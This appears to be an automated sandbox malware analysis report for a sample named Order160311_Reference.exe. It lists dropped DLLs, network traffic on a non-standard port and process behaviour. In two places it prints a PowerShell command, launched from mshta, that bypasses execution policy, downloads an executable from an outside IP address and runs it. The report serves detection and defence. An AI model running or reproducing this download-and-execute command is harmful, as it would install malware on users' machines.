Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-string-l1-1-0.dll.4.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe			Jump to behavior

Source: api-ms-win-crt-stdio-l1-1-0.dll.4.dr

Static PE information: 0xE0D5091C [Wed Jul 13 01:51:24 2089 UTC]

Source: msvcp140.dll.4.dr

Static PE information: section name: .didat

Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 8030
Source: unknown	Network traffic detected: HTTP traffic on port 8030 -> 49732

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3771			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2147			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
